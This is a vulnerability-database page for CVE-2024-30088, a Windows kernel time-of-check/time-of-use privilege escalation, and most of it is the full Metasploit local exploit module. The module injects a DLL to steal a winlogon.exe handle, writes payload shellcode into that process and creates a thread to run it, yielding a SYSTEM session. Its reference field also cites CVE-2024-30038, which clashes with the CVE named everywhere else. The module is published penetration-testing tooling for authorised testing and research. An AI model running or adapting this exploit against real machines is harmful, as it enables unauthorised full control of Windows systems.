Lucene search

K
metasploitTykawaii98, jheysel-r7MSF:EXPLOIT-WINDOWS-LOCAL-CVE_2024_30088_AUTHZ_BASEP-
HistoryAug 22, 2024 - 6:16 a.m.

Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes

2024-08-2206:16:37
tykawaii98, jheysel-r7
www.rapid7.com
6
cve-2024-30088
elevation of privilege
windows 10
windows 11
windows server 2022
authzbasepcopyoutinternalsecurityattributes
time of check time of use
toctou
vulnerability
exploit

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

6.9

Confidence

Low

EPSS

0.001

Percentile

45.2%

CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10, Windows 11 and Windows Server 2022. The vulnerability exists inside the function called AuthzBasepCopyoutInternalSecurityAttributes specifically when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION of the current token object to user mode. When the kernel preforms the copy of the SecurityAttributesList, it sets up the list of the SecurityAttribute’s structure directly to the user supplied pointed. It then calls RtlCopyUnicodeString and AuthzBasepCopyoutInternalSecurityAttributeValues to copy out the names and values of the SecurityAttribute leading to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  include Msf::Post::Windows::Version
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Kernel Time of Check Time of Use LPE in AuthzBasepCopyoutInternalSecurityAttributes',
        'Description' => %q{
          CVE-2024-30088 is a Windows Kernel Elevation of Privilege Vulnerability which affects many recent versions of Windows 10,
          Windows 11 and Windows Server 2022.

          The vulnerability exists inside the function called `AuthzBasepCopyoutInternalSecurityAttributes` specifically when
          the kernel copies the `_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION` of the current token object to user mode. When the
          kernel preforms the copy of the `SecurityAttributesList`, it sets up the list of the SecurityAttribute's structure
          directly to the user supplied pointed. It then calls `RtlCopyUnicodeString` and
          `AuthzBasepCopyoutInternalSecurityAttributeValues` to copy out the names and values of the `SecurityAttribute` leading
          to multiple Time Of Check Time Of Use (TOCTOU) vulnerabilities in the function.
        },
        'Author' => [
          'tykawaii98', # PoC (Bùi Quang Hiếu)
          'jheysel-r7' # msf module
        ],
        'References' => [
          [ 'URL', 'https://github.com/tykawaii98/CVE-2024-30088'],
          [ 'CVE', '2024-30038']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Privileged' => true,
        'SessionTypes' => [ 'meterpreter' ],
        'Arch' => [ ARCH_X64 ],
        'Targets' => [
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DisclosureDate' => '2024-06-11',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, ],
          'Reliability' => [UNRELIABLE_SESSION] # It should return a session on the first run although has the potential to fail.
        },                                      # After the first run the original session will usually die if the module is rerun against the same session.
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_get_processes
              stdapi_railgun_api
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_protect
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        }
      )
     )
  end

  def target_compatible?(version)
    # NOTE: Win10_1607 = Server2016 and Win10_1809 = Server2019. Both Server and Desktop version are supposed to be affected.
    return true if version.build_number.between?(Msf::WindowsVersion::Win10_1507, Rex::Version.new('10.0.10240.20680')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_1607, Rex::Version.new('10.0.14393.7070')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_1809, Rex::Version.new('10.0.17763.5936')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_21H2, Rex::Version.new('10.0.19044.4529')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win10_22H2, Rex::Version.new('10.0.19045.4529')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win11_21H2, Rex::Version.new('10.0.22000.3019')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win11_22H2, Rex::Version.new('10.0.22621.3737')) ||
                   version.build_number.between?(Msf::WindowsVersion::Win11_23H2, Rex::Version.new('10.0.22631.3737')) ||
                   version.build_number.between?(Msf::WindowsVersion::Server2022, Rex::Version.new('10.0.20348.2522')) ||
                   version.build_number.between?(Msf::WindowsVersion::Server2022_23H2, Rex::Version.new('10.0.25398.950'))

    false
  end

  def check
    return Exploit::CheckCode::Safe('Non Windows systems are not affected') unless session.platform == 'windows'

    version = get_version_info
    return Exploit::CheckCode::Appears("Version detected: #{version}") if target_compatible?(version)

    CheckCode::Safe("Version detected: #{version}")
  end

  def get_winlogon_pid
    processes = client.sys.process.get_processes
    winlogon_pid = nil
    processes.each do |process|
      if process['name'].downcase == 'winlogon.exe'
        winlogon_pid = process['pid']
        break
      end
    end

    winlogon_pid
  end

  def get_winlogon_handle
    pid = session.sys.process.getpid
    process_handle = session.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
    address = process_handle.memory.allocate(8)

    thread = execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2024-30088', 'CVE-2024-30088.x64.dll'),
      address,
      pid
    )

    calls = [
      ['kernel32', 'WaitForSingleObject', [ thread.handle, 20000 ] ],
      ['kernel32', 'GetExitCodeThread', [ thread.handle, 4 ] ],
    ]

    results = session.railgun.multi(calls)
    winlogon_handle = nil

    if results.last['lpExitCode'] == 0
      print_good('The exploit was successful, reading SYSTEM token from memory...')
      current_memory = process_handle.memory.read(address, 8)
      winlogon_handle = current_memory.unpack('Q<').first
    end

    session.railgun.kernel32.VirtualFree(address, 0, MEM_RELEASE)
    winlogon_handle
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    version = get_version_info
    unless target_compatible?(version)
      fail_with(Failure::NoTarget, "The exploit does not support this version of Windows: #{version}")
    end

    winlogon_handle = get_winlogon_handle
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon handle') unless winlogon_handle
    print_good("Successfully stole winlogon handle: #{winlogon_handle}")

    winlogon_pid = get_winlogon_pid
    fail_with(Failure::UnexpectedReply, 'Unable to retrieve the winlogon pid') unless winlogon_pid
    print_good("Successfully retrieved winlogon pid: #{winlogon_pid}")

    host = session.sys.process.new(winlogon_pid, winlogon_handle)
    shellcode = payload.encoded
    shell_addr = host.memory.allocate(shellcode.length)
    host.memory.protect(shell_addr)

    if host.memory.write(shell_addr, shellcode) < shellcode.length
      fail_with(Failure::UnexpectedReply, 'Failed to write shellcode')
    end

    vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{winlogon_pid})")
    thread = host.thread.create(shell_addr, 0)
    unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread)
      fail_with(Failure::UnexpectedReply, 'Unable to create thread')
    end
  end
end

CVSS3

7.8

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

6.9

Confidence

Low

EPSS

0.001

Percentile

45.2%